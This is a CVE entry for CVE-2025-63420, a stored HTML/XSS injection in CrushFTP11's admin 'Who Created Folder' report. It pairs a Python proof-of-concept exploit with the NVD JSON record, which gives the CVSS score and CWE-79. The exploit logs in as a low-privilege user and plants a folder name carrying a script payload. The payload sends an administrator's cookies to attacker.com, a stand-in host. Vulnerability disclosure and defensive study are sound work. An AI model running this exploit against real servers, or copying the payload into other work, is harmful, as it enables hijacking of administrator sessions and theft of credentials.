CVE-2025-63420

#!/usr/bin/env python3 # CVE-2025-63420 PoC - CrushFTP11 Stored HTML Injection # Target: CrushFTP11 < 11.3.7_57 # Module: Admin Panel -> Reports -> "Who Created Folder" import requests import json target = "http://target-crushftp-server:8080" username = "low_priv_user" password = "user_password" session = requests.Session() # Step 1: Login to CrushFTP login_url = f"{target}/WebInterface/login.html" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data) # Step 2: Navigate to Reports -> Who Created Folder reports_url = f"{target}/WebInterface/function/?command=getWhoCreatedFolder" # Step 3: Inject malicious HTML/JavaScript payload malicious_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" injection_data = { "folder_path": "/path/to/target/folder", "folder_name": f"test{malicious_payload}", "command": "create" } response = session.post(reports_url, data=injection_data) # Step 4: When admin views the report, XSS executes print("Payload injected. Waiting for admin to access Reports page...") print(f"PoC URL: {target}/WebInterface/reports.html")

{"cve": {"id": "CVE-2025-63420", "sourceIdentifier": "[email protected]", "published": "2025-11-07T22:15:39.343", "lastModified": "2026-02-05T16:24:04.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CrushFTP11 before 11.3.7_57 is vulnerable to stored HTML injection in the CrushFTP Admin Panel (Reports / \"Who Created Folder\"), enabling persistent HTML execution in admin sessions."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenada en el Panel de administración de CrushFTP 11.3.7_50 (Informes / 'Quién creó la carpeta') permite a atacantes autenticados con permisos para crear carpetas inyectar HTML/JavaScript malicioso."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.1", "versionEndExcluding": "11.3.7_57", "matchCriteriaId": "C630A401-D243-4625-8B5A-AF4A9595D7A8"}]}]}], "references": [{"url": "https://gist.github.com/MMAKINGDOM/791d264c27656f0a4aa3c0ae35075e70", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/MMAKINGDOM/CVE-2025-63420/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}